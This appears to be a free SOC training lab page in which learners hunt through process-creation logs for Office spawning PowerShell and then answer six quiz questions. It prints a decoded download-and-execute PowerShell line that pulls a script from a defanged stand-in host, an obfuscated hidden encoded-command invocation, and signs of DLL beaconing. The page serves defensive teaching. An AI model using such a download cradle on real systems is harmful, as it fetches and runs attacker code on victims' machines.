Skip to content
← Free SOC labs
Free labIntermediate20 min

Threat hunt: Office spawning PowerShell

Hypothesis. If a user opened a malicious document, an Office application will have launched a script interpreter with obfuscated arguments.

You have one day of process-creation results where the child process is powershell.exe. Not everything unusual is malicious — part of hunting is knowing your baseline.

The Base64 in row 3 decodes (UTF-16LE) to: IEX (New-Object Net.WebClient).DownloadString('hxxp://cdn-update[.]example/a.ps1')

Evidence

Process creation — child = powershell.exe

#  host      user       parent            command_line
1  WS-021    t.hall     explorer.exe      powershell.exe -File C:\IT\Scripts\map-drives.ps1
2  SRV-APP3  SYSTEM     sccm-agent.exe    powershell.exe -NoProfile -EncodedCommand JABlAHIAcgBvAHIA…  (seen on 412 hosts)
3  WS-077    m.chen     WINWORD.EXE       powershell -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoA…
4  WS-103    it.admin   powershell_ise    powershell.exe Get-ADUser -Filter * -Properties LastLogonDate

Follow-on activity on WS-077 (same minute):
5  WS-077    m.chen     powershell.exe    rundll32.exe C:\Users\m.chen\AppData\Local\Temp\k3.dll,Start
6  WS-077    network    rundll32.exe      connect 198.51.100.9:443 every 60s

Your analysis

Q1

Which row number is the strongest lead for your hypothesis?

Q2

Row 2 also uses an encoded command. Why is it probably benign?

Q3

What does the decoded command in row 3 do?

Q4

Which MITRE ATT&CK technique ID covers PowerShell execution? (Format T####.###)

Hint

Command and Scripting Interpreter has sub-techniques.

Q5

Rows 5 and 6 show rundll32 loading a DLL from Temp and connecting out every 60 seconds. What is this most consistent with?

Q6

What should the hunt produce besides containing WS-077?